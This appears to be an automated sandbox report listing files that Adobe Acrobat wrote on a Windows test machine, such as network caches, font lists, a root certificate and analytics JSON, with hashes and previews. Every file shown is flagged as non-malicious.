Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fe7e8fa6-23fc-48f0-ac59-49dd55f3a8aa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241223073935Z-168.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	4.0960479354974
Encrypted:	false
SSDEEP:	384:u0eDil7wkRKfCqzmbeE/kh1B1Qn/0CjVQe0yZHvxUli:GA7wyCNSiE/kh1Bc/0Cj4yZJ7
MD5:	AD103A90F30942B861F8499BF5C68CB9
SHA1:	4C70481637E46F4E61CDBF46E8ACB05FB31AB263
SHA-256:	F4DE33405E2771BA2C8FD2E0378453815CE0F3732CC624C5D163060616172389
SHA-512:	0E14321DB45729D7D11D6DB505C75F50B71CE6036A91C3E18DD988CD1A43CA90DDC592F739C1170F1BA4521AE2702A1144912B77E805B9220F77EB196C05326B
Malicious:	false
Preview:	BMV.......6...(...k...h..... .............................................................................................................................................................................................................................................................................................................................................................qrs.ghi.................jkl.........us..LI..OM......po..LJ.._]..........*)-.0/3.}}..........98<.=<@.........................................................................................................................................................................................................................................................................................................................................dfg.`ab.`ab.~.......`ab.`ab._`a.....C@..CA..CA..pn..ca..CA..CA..MK........"..."...!.....326..."...".558...........................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444927157948472
Encrypted:	false
SSDEEP:	384:ye6ci5t1iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mes3OazzU89UTTgUL
MD5:	84D9DF4BDDE9FC08DF0B616D2D399E03
SHA1:	6ED4DD5557FCC9B5BFAC0613E79628DBED303607
SHA-256:	D276C2C178C42078FC61A19B41F139A2A19A6CDA3DB80669745CED33512F0E90
SHA-512:	18E167252733D9C437523645F8E420F7E5E4B5CF3693EBB80CCC5FE48F35A2CA8203798C591EBA5F86358E1A6C4F434F1A7C4ABD5815B458D4CA9E1321371AE5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.768968894406968
Encrypted:	false
SSDEEP:	48:7M+JioyVZioyhoy1C7oy16oy1TKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O3:7FJuZ3KXjBigb9IVXEBodRBk5
MD5:	1183265ECFD3772ABA063ED548048EE5
SHA1:	F651C969D303BCE6742C80A5222ABEFBF32B6812
SHA-256:	0EAAAA97966925F70FF3431F5917528B946B77BBB484A13FBC0192D4ED87FCB8
SHA-512:	5CD364A150197902FC5B51FD19CE6629FED3A12E147C296780FC239E79E2CFEDD995C0790062363833CA7AA7156F761A50F3C6F64C2A14D30018417D13AFBCEC
Malicious:	false
Preview:	.... .c......@.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFkl3fUuIlXfllXlE/HT8kn1lltNNX8RolJuRdxLlGB9lQRYwpDdt:kKBuZT8ulNMa8RdWBwRd
MD5:	B9C1DC3066FDBFF72DC3B0C88FBE693A
SHA1:	9FF5696FBD64BCACC573F594634D1F666FB3E8EE
SHA-256:	987CA0F52686F4C30DE7EE2BB215649C6B98C062203D1872EF2F95F9BB7205FB
SHA-512:	3B1F70067BE9D1A512B4C922B3F1BD4F5A9DF804ABF9E80B3B4284E3EC7F418ECBAD5EB0B780807AE332E8698AB66F9FB02E7A2FA02559A0C5774ABA5DB4208F
Malicious:	false
Preview:	p...... .........z1..U..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7848

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7848

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.344948696833951
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJM3g98kUwPeUkwRe9:YvXKX+HSQW0c0nGMbLUkee9
MD5:	068756D4AFF5808C712C82CC17873B75
SHA1:	F0C27DAF7F32317C8B7A61A142776D95C847E054
SHA-256:	0618388D880C6E3C07DF53DA45DF289D82D6FA98D01550B6A85B3BB18CA9A67C
SHA-512:	DA04AB0AD48E8110127BB362768F67BD9EC4DFC7BC6C0B67B679E1CBBEC27C8C7FE332B7C022D0E3886DB161C43C663650BD77AFAE5A452539CA6383E3F23CDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30011764429531
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJfBoTfXpnrPeUkwRe9:YvXKX+HSQW0c0nGWTfXcUkee9
MD5:	7CE23F3A2F4B08E167A134A382246968
SHA1:	98FE9936CADB2CB051BA8159AA01C7F8742AEA31
SHA-256:	CDB317C991927E3F39ADEF3C6B0C4366F93A1DBA93804D7296BA935DB8A17DF6
SHA-512:	C601DC6A1C89C8E0C70581F33AD0F502A7387DC6217E0B3CB55200ED605FBED4816702E8B86874E09EABB9070ADAFA85731866524CF821F818394FFC8DB60F6B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.278377139653117
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJfBD2G6UpnrPeUkwRe9:YvXKX+HSQW0c0nGR22cUkee9
MD5:	7B33AB931359386C107DA06DFDD7FB50
SHA1:	D05488A0C0FAC7E49260FC70612FC5637DCBE7A8
SHA-256:	D1FE64CD931FE090D1A9AC7218DD38C8CF208858089DA132C92CB67EA59A9E8B
SHA-512:	85201875FEF923A1D479F0BC435C5A7C96E1DB84B09D679A54419175F35657C1C506A1F73A1052844E771C9090ED6AD13E04187E5560DEA4296DB1ECBB8F89C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.324325143042335
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJfPmwrPeUkwRe9:YvXKX+HSQW0c0nGH56Ukee9
MD5:	E68711E40B3474A3D2CA91E2ADD5E2BB
SHA1:	C154536811B4D812124307CDE4A57D9FAA802FEA
SHA-256:	D2FFF16834255333B2B0A6FAE4E62DC86CAA88605044DE07603BBFCB283759FC
SHA-512:	EE470B582D6338D8CAA8BCD66399357E73CB28622D5DDA3920052208CE14D57F5B39E58DE5CEEC43853F51B4F8C14D5153C87A4E103AC804B1066350E8EFEFA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68868098188253
Encrypted:	false
SSDEEP:	24:Yv6X+HSQWZNpLgE9cQx8LennAvzBvkn0RCmK8czOCCSc+Sn:Yvo/hgy6SAFv5Ah8cv/c+Sn
MD5:	3EF6A0B81CB417744FAB9B5B2CCDB06D
SHA1:	12A6C3072E5F31F4D49E336E49F18F1B5C1D64C3
SHA-256:	EB34D748C58F347C2F0CD883F13E4F679A00C03A2804520586B2E5799E52A611
SHA-512:	28496A9B94488D3FE932690700E0FAF2DB0070302D22A043C7349E0CDD6BFED1CF52AA3531013201438D90920AD0A0271B6907E9950D0EDBF816EFBFB43BB19B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275849622293575
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJf8dPeUkwRe9:YvXKX+HSQW0c0nGU8Ukee9
MD5:	753772C602DF5C678D3D72A376427F72
SHA1:	6B95B24EA9A7A45D9E9A9F30B7BD6E9C1D18F194
SHA-256:	EC9F538A360EEEDD37FB1806DEF727E6F99BCFAAA776F8F6CF2A108B7072E21B
SHA-512:	9B7CC089CCD06E365926F144500897F81FF7A0FB640B7144F59C2C3DB14892B17AFBC505CEDF0BAF0EB3624143BFBE40F9626D2F3F21D334F1FE38BAC8B7EBC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8cb76a41-9154-4767-97e9-5654c3d8a156","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1735119567970,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.279040794150681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPGHYegrQEH0nZiQ0YjUoAvJfQ1rPeUkwRe9:YvXKX+HSQW0c0nGY16Ukee9
MD5:	8ACF8A54913E058C207CB5F8739ABDE8
SHA1:	C12A58091748F6B66AE2D55521C802BA2C92E112
SHA-256:	45826FDC375E49A069B0BB7F3E0393FF6F614C08CDAD7C8B70E5269F1B1838B5
SHA-512:	98458F86072E3DC6809C87B67CC280F5DB3BDCBC7C7B68D7C042E88B6E8D31615ACDA2EFFE00C7B4AC13BA63B694BFB9228E771B0D53C3E1760255293790E7CF
Malicious:	false
